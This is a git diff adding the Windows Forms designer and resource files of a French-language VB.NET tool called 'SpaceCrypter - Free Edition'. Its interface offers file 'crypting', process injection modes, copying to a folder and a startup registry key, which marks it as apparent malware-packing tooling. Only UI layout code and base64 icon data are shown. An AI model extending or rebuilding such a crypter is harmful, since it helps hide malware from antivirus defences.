dossier :" + ' + 'GroupBoxStartup + ' + Me.GroupBoxStartup.Controls.Add(Me.TextBoxClestartup) + Me.GroupBoxStartup.Controls.Add(Me.Label3) + Me.GroupBoxStartup.Location = New System.Drawing.Point(7, 24) + Me.GroupBoxStartup.Name = "GroupBoxStartup" + Me.GroupBoxStartup.Size = New System.Drawing.Size(244, 63) + Me.GroupBoxStartup.TabIndex = 7 + Me.GroupBoxStartup.TabStop = False + ' + 'TextBoxClestartup + ' + Me.TextBoxClestartup.Location = New System.Drawing.Point(6, 32) + Me.TextBoxClestartup.Name = "TextBoxClestartup" + Me.TextBoxClestartup.Size = New System.Drawing.Size(232, 20) + Me.TextBoxClestartup.TabIndex = 8 + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Location = New System.Drawing.Point(3, 16) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(78, 13) + Me.Label3.TabIndex = 0 + Me.Label3.Text = "Nom de la clé :" + ' + 'Button2 + ' + Me.Button2.Location = New System.Drawing.Point(355, 248) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(107, 23) + Me.Button2.TabIndex = 9 + Me.Button2.Text = "Cypter mon fichier" + Me.Button2.UseVisualStyleBackColor = True + ' + 'ProgressBar1 + ' + Me.ProgressBar1.Location = New System.Drawing.Point(5, 248) + Me.ProgressBar1.Name = "ProgressBar1" + Me.ProgressBar1.Size = New System.Drawing.Size(344, 23) + Me.ProgressBar1.TabIndex = 10 + ' + 'RandomPool1 + ' + Me.RandomPool1.BackColor = System.Drawing.Color.White + Me.RandomPool1.Image = Nothing + Me.RandomPool1.Location = New System.Drawing.Point(10, 99) + Me.RandomPool1.Name = "RandomPool1" + Me.RandomPool1.NoRounding = False + Me.RandomPool1.Range = "0123456789ABCDEF" + Me.RandomPool1.RangePadding = 2 + Me.RandomPool1.Size = New System.Drawing.Size(449, 61) + Me.RandomPool1.TabIndex = 5 + Me.RandomPool1.Text = "RandomPool1" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(474, 275) + Me.Controls.Add(Me.ProgressBar1) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.TabControl1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.Name = "Form1" + Me.Text = "SpaceCrypter - Free Edition | v1.0" + Me.TabControl1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.TabPage1.PerformLayout() + CType(Me.PictureIcon, System.ComponentModel.ISupportInitialize).EndInit() + Me.TabPage2.ResumeLayout(False) + Me.TabPage2.PerformLayout() + Me.GroupBoxType.ResumeLayout(False) + Me.GroupBoxType.PerformLayout() + Me.GroupBoxInjection.ResumeLayout(False) + Me.GroupBoxInjection.PerformLayout() + Me.GroupBoxCopier.ResumeLayout(False) + Me.GroupBoxCopier.PerformLayout() + Me.GroupBoxStartup.ResumeLayout(False) + Me.GroupBoxStartup.PerformLayout() + Me.ResumeLayout(False) + + End Sub + + Friend WithEvents Button1 As Button + Friend WithEvents ChargerFichier As Button + Friend WithEvents TextBoxFichier As TextBox + Friend WithEvents Label1 As Label + Friend WithEvents Label2 As Label + Friend WithEvents RandomPool1 As RandomPool + Friend WithEvents TabControl1 As TabControl + Friend WithEvents TabPage1 As TabPage + Friend WithEvents ButtonChangerIco As Button + Friend WithEvents PictureIcon As PictureBox + Friend WithEvents CheckBoxIcon As CheckBox + Friend WithEvents Label8 As Label + Friend WithEvents Label7 As Label + Friend WithEvents TabPage2 As TabPage + Friend WithEvents Acheter As Button + Friend WithEvents Label6 As Label + Friend WithEvents GroupBoxType As GroupBox + Friend WithEvents RadioButtonNatif As RadioButton + Friend WithEvents RadioButtonNet As RadioButton + Friend WithEvents GroupBoxInjection As GroupBox + Friend WithEvents RadioButtonReg As RadioButton + Friend WithEvents RadioButtonDll As RadioButton + Friend WithEvents GroupBoxCopier As GroupBox + Friend WithEvents TextBoxFichiercop As TextBox + Friend WithEvents Label5 As Label + Friend WithEvents TextBoxDossier As TextBox + Friend WithEvents Label4 As Label + Friend WithEvents GroupBoxStartup As GroupBox + Friend WithEvents TextBoxClestartup As TextBox + Friend WithEvents Label3 As Label + Friend WithEvents TextBoxEncryption As TextBox + Friend WithEvents Label9 As Label + Friend WithEvents Label10 As Label + Friend WithEvents Button2 As Button + Friend WithEvents ProgressBar1 As ProgressBar + Friend WithEvents Label12 As Label + Friend WithEvents Label11 As Label +End Class diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.resx b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.resx new file mode 100644 index 0000000..484e608 --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Form1.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BoHpcH6B6XJHYonWR2KJ1H////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGgelwToHpclaB6XPmgelz/2KJ1/9iidfnYonWV2KJ1E////wH///8B////Af// + /wH///8B////Af///wGgelw7oHpc6aB6XP+gelz/oHpc/9iidf/YonX/2KJ1/9iidenYonU7////Af// + /wH///8B////Af///wGgelwVoHpc7aB6XP+gelz/oHpc/6B6XP/YonX/2KJ1/9iidf/YonX/2KJ17dii + dRX///8B////Af///wH///8BoHpccaB6XP+gelz/pYNo/76qkf/Kupv/0bmM/9W3k//Yp3//2KJ1/9ii + df/YonVx////Af///wH///8B////AauCYbWgelz/rI53/9PPwv/Z0LD/ycGj/7+yh//PwZP/1c+9/9iu + i//YonX/2KJ1tf///wH///8B////Af///wHYonXhxpl1/9PS0f/RyKf/wbWN/2xnVf9oYUn/v7KH/9HI + qP/Y1tP/2KZ8/9iideH///8B////Af///wHYonUJ2KJ1/dimfP/Y1tP/0cio/76xh/9oYUn/aGFJ/7+y + h//RyKj/2NbT/9imfP/YonX92KJ1Cf///wH///8B2KJ1J9iidf/YonX/2K6L/9XOvf/PwZP/v7KH/7+y + h//PwZP/1c+9/9iui//YonX/2KJ1/9iidSf///8B////AdiidUPYonX/2KJ1/9iidf/Yp3//1beT/9G5 + jP/UwJf/2cCg/9inf//YonX/2KJ1/9iidf/YonVD////Af///wHYonVb2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/5L6f/+S+n//huJb/26l//9iidf/YonX/2KJ1Wf///wH///8B2KJ1c9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/+S+n//kvp//5L6f/+S+n//gtZH/2aV6/9iidXP///8B////AdiidTnYonU72KJ1Fdii + dRHYonU72KJ1m9iidfvkvp/75L6fm+S+nzvkvp8R5L6fFeK7mjvbqoE5////Af///wH///8B////Af// + /wH///8B////Af///wHYonU35L6fN////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgelwFoHpcXdii + dV3YonUF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgelwJoHpcb6B6 + XOegelz/2KJ1/9iidefYonVv2KJ1Cf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgelwJoHpcb6B6 + XOegelz/oHpc/6B6XP/YonX/2KJ1/9iidf/YonXn2KJ1b9iidQn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHpcSaB6 + XNugelz/oHpc/6B6XP+gelz/oHpc/9iidf/YonX/2KJ1/9iidf/YonX/2KJ129iidUn///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHpcDaB6 + XKOgelz/oHpc/6B6XP+gelz/oHpc/6B6XP+gelz/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + daPYonUN////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AaB6 + XBGgelzPoHpc/6B6XP+gelz/oHpc/6B6XP+gelz/oHpc/6B6XP/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidc/YonUR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BoHpcs6B6XP+gelz/oHpc/6B6XP+gelz/oHpc/6B6XP+gelz/oHpc/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidbP///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AaB6XFGgelz/oHpc/6B6XP+gelz/oHpc/6B6XP+gelz/oHpc/6B6XP+gelz/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidVH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BoHpct6B6XP+gelz/oHpc/6B6XP+gelz/oHpc/6B6XP+tkHj/uqKG/72l + hv/TsYT/1LKI/9euiv/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1t////wH///8B////Af// + /wH///8B////Af///wH///8B////AaB6XBGgelz7oHpc/6B6XP+gelz/oHpc/6B6XP+2oI7/0sy+/9rR + s//a0bH/2tGx/8/Bk//PwZP/z8KX/9XLt//YuJ7/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX72KJ1Ef// + /wH///8B////Af///wH///8B////Af///wH///8BoHpcUaB6XP+gelz/oHpc/6B6XP+ifmL/yMC5/9nY + zv/a0bH/2tGx/9rRsf/a0bH/z8GT/8/Bk//PwZP/z8GT/9XTxP/Yy8D/2KR6/9iidf/YonX/2KJ1/9ii + df/YonVR////Af///wH///8B////Af///wH///8B////Af///wHFlGyDrYNi/6B6XP+gelz/oX1g/8vF + v//Y2tr/1Mql/9nQsP/a0bH/zMSm/6Wehv+ckm//wrWJ/8/Bk//PwZP/z8KX/9ja2v/YzsX/2KN4/9ii + df/YonX/2KJ1/9iidYP///8B////Af///wH///8B////Af///wH///8B////Adiida/YonX/xZRs/6d/ + X//Ctav/2dze/9XRwf/PwZP/0MKW/8i+nP9ybVz/bWhY/2dgSf9sZEz/wrWJ/8/Bk//PwZP/1dHB/9nc + 3v/YxbX/2KJ1/9iidf/YonX/2KJ1r////wH///8B////Af///wH///8B////Af///wH///8B2KJ119ii + df/YonX/1rKT/9nc3v/Z3N7/0822/8/Bk//PwZP/nJJv/2hiTP9rZlX/Z2BJ/2dgSf+ckm//z8GT/8/B + k//Uzrj/2dze/9nc3v/YspL/2KJ1/9iidf/YonXX////Af///wH///8B////Af///wH///8B////Af// + /wHYonX72KJ1/9iidf/Ys5T/2dze/9nc3v/Uzrj/z8GT/8/Bk/+ckm//Z2BJ/2dgSf9nYEn/Z2BJ/5yS + b//PwZP/z8GT/9TOuP/Z3N7/2dze/9iykv/YonX/2KJ1/9iidfv///8B////Af///wH///8B////Af// + /wH///8B2KJ1Idiidf/YonX/2KJ1/9iidf/YxbX/2dze/9XRwf/PwZP/z8GT/8CziP9sZEz/Z2BJ/2dg + Sf9sZEz/wrWJ/8/Bk//PwZP/1dHB/9nc3v/YxbX/2KJ1/9iidf/YonX/2KJ1/9iidSH///8B////Af// + /wH///8B////Af///wHYonVB2KJ1/9iidf/YonX/2KJ1/9ijeP/YzsX/2NrZ/8/Cl//PwZP/z8GT/8K1 + if+ckm//nJJv/8K1if/PwZP/z8GT/8/Cl//Y2tr/2M7F/9ijeP/YonX/2KJ1/9iidf/YonX/2KJ1Qf// + /wH///8B////Af///wH///8B////AdiidVvYonX/2KJ1/9iidf/YonX/2KJ1/9ikev/Yy8D/1dPE/8/B + k//PwZP/z8GT/8/Bk//PwZP/z8GT/8/Bk//PwZP/1dPE/9jLwP/YpHr/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonVb////Af///wH///8B////Af///wH///8B2KJ1d9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YuJ7/1cu3/8/Cl//PwZP/z8GT/8/Bk//PwZP/z8KX/9XLt//YuJ7/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidXf///8B////Af///wH///8B////Af///wHYonWP2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/166K/9SyiP/TsYT/2b+Z/9vBn//gw6j/3a+J/9ijdv/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1j////wH///8B////Af///wH///8B////AdiidafYonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/kvp//5L6f/+S+n//kvp//4rqZ/9ys + hP/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonWj////Af///wH///8B////Af///wH///8B2KJ1v9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/+S+n//kvp//5L6f/+S+ + n//kvp//5L6f/+G4lv/aqH7/2KJ1/9iidf/YonX/2KJ1/9iidb////8B////Af///wH///8B////Af// + /wHYonXb2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/5L6f/+S+ + n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//ftJD/2aV6/9iidf/YonX/2KJ12////wH///8B////Af// + /wH///8B////Adiide/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/kvp//5L6f/+S+n//kvp//5L6f/+S+n//kvp//5L6f/+S+n//jvZ3/3rCK/9ijd//YonXv////Af// + /wH///8B////Af///wH///8B2KJ139iidZPYonVT2KJ1MdiidSHYonUh2KJ1JdiidVHYonWX2KJ179ii + df/YonX/2KJ1/+S+n//kvp//5L6f/+S+n+/kvp+X5L6fUeS+nyXkvp8h5L6fIeS+nzHkvp9T4rmYk9uq + gd////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonUJ2KJ1d9iidfPYonX/5L6f/+S+n/Pkvp935L6fCf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B2KJ1Hdiidbvkvp+75L6fHf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHlcA6B6XBOgeVw116J1Ndii + dRP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgelwNn3lcXaB6 + XKOgelzp2KJ16dehdKPYonRf2KJ1Df///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHlbB6B6 + XEmgelyzn3pb7Z96W/+felv/2KJ1/9iidf/YonXt2KJ1s9iidUnYonUH////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHlcA6B6 + XBmgelxNoHpbyaB6XP+geVz/oHpb/6B6XP+geVz/2KJ1/9iidf/YonX/2KJ1/9iidf/YonXJ2KJ1Tdei + dBnYonUD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BoHpcU6B6XKugelzzoHlc/6B6XP+geVz/oHlc/6B6XP+geVz/2KJ0/9ihdf/YonX/2KJ0/9ih + df/YonX/16J089iidKvXonRT////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AaB6XBmgeVyJn3pc5596XP2felv/oHpb/596W/+felv/oHpb/596W/+felv/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf3YonXn2KJ1idiidRn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGgelwLoHlcYaB5W9ugeVz/oHpb/6B6XP+geVz/oHpb/6B6XP+geVz/oHpb/6B6 + XP+geVz/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iiddvXonVh2KF0C/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AaB6XBWfelt3oHlc86B6XP+geVz/oHlc/6B6XP+geVz/oHlc/6B6 + XP+geVz/oHlc/6B6XP+geVz/2KJ0/9ihdf/YonX/2KJ0/9ihdf/YonX/2KJ0/9ihdf/YonX/2KJ0/9ih + df/YonXz2KJ0d9iidRX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BoHpcDaB5XIOfelzxoHpb/596W/+felv/oHpb/596 + W/+felv/oHpb/596W/+felv/oHpb/596W/+felv/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ18deidIPYonUN////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHpcc6B5XPmgelz/oHpb/6B6 + XP+geVz/oHpb/6B6XP+geVz/oHpb/6B6XP+geVz/oHpb/6B6XP+geVz/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidPnYonVz////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgelwloHpc56B6 + XP+gelz/oHlc/6B6XP+geVz/oHlc/6B6XP+geVz/oHlc/6B6XP+geVz/oHlc/6B6XP+geVz/2KJ0/9ih + df/YonX/2KJ0/9ihdf/YonX/2KJ0/9ihdf/YonX/2KJ0/9ihdf/YonX/2KJ0/9ihdf/XoXTn2KJ1Jf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGgelyPoHpc/6B5XP+gelz/oHpb/596W/+felv/oHpb/596W/+felv/oHpb/596W/+felv/oHpb/596 + W/+felv/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1j////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AaB6XC2gelzVoHpc/596XP+gelz/oHpb/6B6XP+geVz/oHpb/6B6XP+geVz/oHpb/6J9 + Yf+nh2z/rI1w/66Pcv+uj3H/1al8/9Wqff/WqX7/16iA/9ikef/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ11diidS3///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AaB6XGOgelzxoHpb/6B6XP+gelz/oHlc/6B6XP+geVz/oHlc/6B6 + XP+ifmL/spmF/8Cvm//Mv6j/1cuv/9rRsv/a0LD/z8GT/8/Blf/QwZf/08Cd/9a8n//YtJb/2KR5/9ih + df/YonX/2KJ0/9ihdf/YonX/2KJ0/9ihdf/YonX/2KF08diidWP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BoHpcDaB6W5Wgelz9oHpc/6B5XP+gelz/oHpb/596 + W/+felv/oHpb/6qMdP/Eua//1M/C/9nSt//Z0bH/2dGx/9nQsf/Z0bD/z8GT/8/Bk//PwZP/z8GU/9DF + nv/Vzbr/2Me4/9isiP/YonX/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/dihdZXYonUN////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BoHpcJZ96XMegelz/oHpc/596 + XP+gelz/oHpb/6B6XP+ifWD/uqeX/9TV1P/Z2M3/2dGw/9rRsf/Z0bD/2dGw/9rRsf/Z0bD/z8GT/87B + k//PwZP/z8GT/87Bk//PwZP/1dLD/9jX1f/YvKX/2KR4/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9ii + dMfYonQl////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BqIBfN6N8 + Xeugelz/oHpb/6B6XP+gelz/oHlc/6J+Yv+5pZX/19na/9jZ0v/Z0rf/2tCx/9rRsf/a0LD/2tCx/9rR + sf/a0LD/z8GT/8/Bkv/PwZP/z8GT/8/Bkv/PwZP/0MWf/9fWzf/Z2tv/2Luj/9ikev/YonX/2KJ0/9ih + df/YonX/2KJ0/9eidOvXoXQ3////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B0JxxUcaVbf2uhGL/oHpc/6B5XP+gelz/oXxe/7ejkv/U1NT/2Nvb/9TOt//Tx5//2c+u/9nQ + sf/Z0bD/z8eo/5+Ygf+Jg2//gnlc/5eMa//FuIz/z8GT/8/Bk//PwZP/z8GU/9PNtf/Y29v/2NfW/9i6 + of/Yo3f/2KJ1/9iidf/YonX/2KJ1/9iidf3YonVR////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B2KJ1fdiidf/YonX/wpJr/6uCYf+he1z/tJyK/9TV1f/Z297/19fR/9DF + nv/PwZP/z8KV/9TJov/OxaT/eHNh/21oWP9saFj/Z2BJ/2dfSf9yalD/xbiM/87Bk//PwZP/z8GT/9DF + nv/X19H/2dze/9nX1v/Ytpr/2KJ1/9iidf/YonX/2KJ1/9iidf/YonV9////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B2KJ1q9iidf/YonX/16F0/9Cccf+8lHL/z8vI/9nc + 3v/Y293/1tXM/8/Blf/OwJL/zsCS/8/Bk/+Zj3D/a2VS/2xnV/9taFf/Z19J/2dfSf9nX0n/l4xr/8/B + kv/PwZP/z8GT/8/Blf/W1cz/2dze/9nc3v/Z0sz/2Kd+/9ihdf/YonX/2KJ0/9ihdf/YoXSr////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B2KJ1ydiidf/YonX/2KJ1/9ij + d//Xwa7/2dve/9jb3f/Z297/1dPG/87Ak//PwZP/zsGT/87Ak/+CeVz/Z2BK/2liTv9rZlX/Z2BJ/2dg + Sf9nYEn/gnlc/8/Bk//PwZP/z8GT/8/Bk//W1cv/2dze/9nc3v/Z3N7/2MGt/9iidf/YonX/2KJ1/9ii + df/XonXJ////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B2KJ09dii + df/YonX/2KJ0/9ijd//Ywq7/2dze/9nc3v/Z3N7/1tXL/8/Bk//PwZP/z8GT/8/Bk/+CeVz/Z2BJ/2dg + SP9nYEn/Z2BJ/2dgSf9mYEn/gnlc/8/Bkv/PwZP/z8GT/8/Bkv/W1cv/2dze/9nc3v/Z297/2MGt/9ii + df/YonX/2KJ1/9iidf/XoXT3////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonUZ2KJ1/9iidf/YonX/2KJ1/9iidf/Yp37/2dLM/9jb3f/Z3N7/1tXM/8/Blf/PwZP/zsGT/87A + kv+XjGv/Z2BJ/2dfSf9nYEn/Zl9I/2dgSf9nYEn/l4xr/8/Bk//PwZP/zsCT/8/Blf/W1cz/2Nvd/9nc + 3v/Z0sz/16d+/9iidf/YonX/16J0/9iidf/YonX/2KJ1Gf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wHYonUx2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2Laa/9nX1v/Z3N7/19fR/9DF + nv/PwZP/z8GT/87Bk//BtIn/cmpQ/2dgSf9nYEn/Z2BJ/2dfSf9yalD/xbiM/87Akv/OwZL/z8GT/9DF + nv/X19H/2dze/9jX1v/Ytpr/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KF1Mf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHYonVh2KJ0/9iidf/YonX/2KJ0/9iidf/YonX/2KN3/9i6 + of/Y19b/2Nra/9PMs//PwZT/z8GT/8/Bk//PwZP/xbiM/5eMa/+CeVz/gnlc/5eMa//Ft4z/z8GT/8/B + kv/PwZP/z8GU/9PNtf/Y29v/2NfW/9i6of/Yo3f/2KJ1/9iidf/YonX/2KJ1/9iidf/YonX/2KF1Yf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wHYonVz2KJ1/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9ekef/Yu6P/2drb/9bWzf/QxZ//zsGT/87Akv/PwZP/zsGT/87Akv/PwZP/zsCT/8/B + k//PwZP/zsCT/8/Bk//PwZP/0MWf/9fWzf/Z2tv/2Luj/9ikev/YonX/16J0/9iidf/YonX/16J0/9ii + df/YonX/2KJ1c////wH///8B////Af///wH///8B////Af///wH///8B////Af///wHYonWN2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ0/9iidP/YpHj/2Lyl/9jX1f/V0sP/z8GT/87Bk//PwZP/z8GT/87B + k//PwZP/z8GT/87Akv/OwZL/z8GT/87Akv/OwZL/1dLD/9jX1f/YvKX/2KR4/9iidf/YonX/2KJ1/9ii + df/YonX/2KJ1/9iidf/YonX/2KJ1jf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHYonSt2KJ0/9iidf/YonX/2KJ0/9iidf/YonX/2KJ1/9iidf/YonX/2KJ1/9isiP/Yx7j/1c26/9DF + nv/PwZT/z8GT/8/Bk//PwZP/z8GT/8/Bkv/PwZP/z8GU/9DFnv/Vzbr/2Me4/9isiP/YonX/2KJ1/9ii + 